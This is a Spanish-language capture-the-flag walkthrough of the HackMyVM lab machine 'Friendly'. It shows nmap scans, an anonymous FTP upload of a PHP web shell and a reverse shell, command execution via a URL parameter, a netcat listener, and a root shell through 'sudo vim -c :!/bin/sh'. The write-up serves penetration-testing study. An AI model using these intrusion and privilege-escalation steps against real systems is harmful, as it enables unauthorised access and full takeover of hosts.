Post

FRIENDLY WRITEUP HACKMYVM.

Resolución de la máquina friendly de Hackmyvm.

Información:

Autor:RiJaba1
Fecha de creacion:2023-03-24
Dificultad:Easy

Reconocimiento y enumeración:

Hacemos el reconocimiento de puertos con nmap

1
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv -oG allPorts.txt 192.168.1.98

Observamos que los puertos con estado open son el puerto 21 y 80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 22:48 CST
Initiating ARP Ping Scan at 22:48
Scanning 192.168.1.98 [1 port]
Completed ARP Ping Scan at 22:48, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:48
Scanning 192.168.1.98 [65535 ports]
Discovered open port 80/tcp on 192.168.1.98
Discovered open port 21/tcp on 192.168.1.98
Completed SYN Stealth Scan at 22:48, 0.68s elapsed (65535 total ports)
Nmap scan report for 192.168.1.98
Host is up, received arp-response (0.00032s latency).
Scanned at 2024-09-18 22:48:04 CST for 0s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:10:C5:3E (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Con la finalidad de obtener las versiones de los servicios que tienen asignados esos puertos relizamos un segundo escaneo con nmap de los puertos.

1
sudo nmap -p21,80 -sCV 192.168.1.98 -oN openServices.txt 

Vemos que el puerto 21 tiene un servicio de proFTPD y que este permite login de usuarios anónimos. También observamos que el puerto 80 tiene un servicio de apache corriendo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 22:49 CST
Nmap scan report for 192.168.1.98 (192.168.1.98)
Host is up (0.00010s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:10:C5:3E (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds

Intrusión

Intentamos una conexión ftp como usuario anónimo

1
2
3
4
5
6
7
8
9
10
ftp 192.168.1.98
Connected to 192.168.1.98.
220 ProFTPD Server (friendly) [::ffff:192.168.1.98]
Name (192.168.1.98:quantum): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Listamos los archivos con el comando dir y observamos que existe un archivo index.html

1
2
3
4
5
6
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
226 Transfer complete
ftp>

Intentamos subir un archivo malicioso php con la finalidad de poder obtener RCE (remote code execution).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> append
(local-file) cmdshell.php
(remote-file) cmdshell.php
200 PORT command successful
150 Opening BINARY mode data connection for cmdshell.php
226 Transfer complete
114 bytes sent in 0.0024 seconds (46.5 kbytes/s)
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      nogroup       114 Sep 19 04:57 cmdshell.php
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
226 Transfer complete
ftp>

Vemos que el archivo es accesible:

file access

Por lo que haremos la consulta de RCE con el comando whoami con el atributo cmd:

1
http://192.168.1.98/cmdshell.php?cmd=whoami

rce

Una vez comprobado que podemos realizar RCE procedemos a subir una reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ftp> append
(local-file) monkey.php
(remote-file) monkey.php
200 PORT command successful
150 Opening BINARY mode data connection for monkey.php
226 Transfer complete
2585 bytes sent in 0.00241 seconds (1.02 Mbytes/s)
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      nogroup       114 Sep 19 04:57 cmdshell.php
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
-rw-r--r--   1 ftp      nogroup      2585 Sep 19 04:57 monkey.php
226 Transfer complete
ftp>

Nos ponemos a la escucha en netcat por el puerto 443:

1
sudo nc -lnvp 443

Obtenemos la reverse shell:

1
2
3
4
5
6
7
8
Connection from 192.168.1.98:42200
Linux friendly 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 GNU/Linux
 00:59:00 up 14 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data

Procedemos a buscar la bandera de usuario con el comando find:

1
find / -name user.txt 2>/dev/null

La bandera de usuario se encuentra en la siguiente ruta:

1
/home/RiJaba1/user.txt

Escalada de privilegios

Realizamos la enumeración de los binarios con permisos SUID:

1
find / -perm -4000 -ls 2>/dev/null

No observamos nada extraño:

1
2
3
4
5
6
7
8
9
10
11
  656427     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1051587    472 -rwsr-xr-x   1 root     root         481608 Jul  1  2022 /usr/lib/openssh/ssh-keysign
   657058     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
   656685     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   652897     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   657056     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
   652833    180 -rwsr-xr-x   1 root     root         182600 Jan 14  2023 /usr/bin/sudo
   652900     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
   656816     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
   652896     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   652899     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd

Listamos los binarios ejecutables con sudo:

1
sudo -l

Vemos que el usuario www-data puede ejecutar vim como super usuario sin necesidad de contraseña:

1
2
3
4
5
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

Siguiendo la guia GTFObins podemos obtener una shell como usuario root, con el siguiente comando:

1
sudo vim -c ':!/bin/sh'

Listo obtenemos una shell como root

1
2
# whoami
root

Obtener la ultima bandera

Para encontrar la ultima bandera utilizaremos el comando find de forma recursiva a desde la raiz / :

1
find / -name root.txt 2>/dev/null

Observamos que existen dos archivos que corresponden a la bandera de root:

1
2
/var/log/apache2/root.txt
/root/root.txt

Procedemos a leer la bandera que se encuentra en el siguiente path: /root/root.txt

1
cat /root/root.txt

La bandera nos muestra este contenido, por lo que donde realmente se encuentra la bandera de root es en el path: /var/log/apache2/root.txt

1
Not yet! Find root.txt.
This post is licensed under CC BY 4.0 by the author.